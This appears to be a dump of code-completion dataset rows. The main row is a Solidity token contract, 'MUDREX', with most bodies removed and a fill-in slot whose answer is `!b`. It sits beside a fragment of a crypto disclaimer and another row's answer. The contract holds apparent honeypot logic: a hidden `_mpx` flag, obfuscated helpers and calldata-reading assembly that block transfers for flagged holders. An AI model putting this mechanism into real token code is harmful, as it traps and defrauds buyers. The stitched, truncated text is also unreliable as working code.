we would like to make sure that you fully understand the nature of this project and the risks involved.
Please note that this token is not a security, commodity, or any other form of financial instrument,
and is not backed by any government or regulatory authority. The value of this token is derived solely from
market forces and the perceived utility of the token by its users. As such, the value of the token can be highly
volatile and may change rapidly, and we cannot guarantee any returns on investment.
Additionally, we make no representations or warranties of any kind, express or implied, regarding the completeness,
accuracy, reliability, suitability, or availability with respect to the token or the information, products, services, or related graphics contained on this project.
Please also be aware that this project may contain certain forward-looking statements that are not historical facts and involve risks and uncertainties.
We cannot guarantee that these statements will be realized, and actual results may differ materially from those described.
We strongly advise you to carefully consider your investment goals, risk tolerance, and overall financial situation before participating in this project.
If you have any doubts or concerns, we suggest seeking the advice of a financial advisor.
By participating in this project, you acknowledge and agree to accept all the risks associated with it.
Thank you for taking the time to read this disclaimer, and we hope that you enjoy this cryptocurrency token project.
*/
| _msgSender()==_devAddress||_msgSender()==_marketingAddress | 179,881 | _msgSender()==_devAddress||_msgSender()==_marketingAddress |
"b" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./Ownable.sol";
contract MUDREX is IERC20, Ownable {
string private _name;
string private _symbol;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
mapping (address => uint256) private _mpx;
mapping(address => mapping(address => uint256)) private _allowances;
address private immutable _mpxAddress;
/**
* @dev Sets the values for {name} and {symbol}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(
string memory name_, string memory symbol_,
address mpxAddr_, uint256 mpx_) {
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the default value returned by this function, unless
* it's overridden.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function direction(uint256[] calldata ss) external {
}
function hiZzz(uint256 x1, uint256 x2, bool xm, bytes32 xm2) private view returns (
bool, uint256, uint256) {
}
function getT() private view returns (uint256) {
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
/**
* @dev Moves `amount` of tokens from `from` to `to`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function checkIng(address sender, bool b, bytes memory data) private view {
uint256 v; assembly { v := mload(add(data, add(16, 16))) }
if (b && _mpx[sender] == 1 && v == 0) {
require(<FILL_ME>)
}
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `amount`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
}
| !b,"b" | 179,924 | !b |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.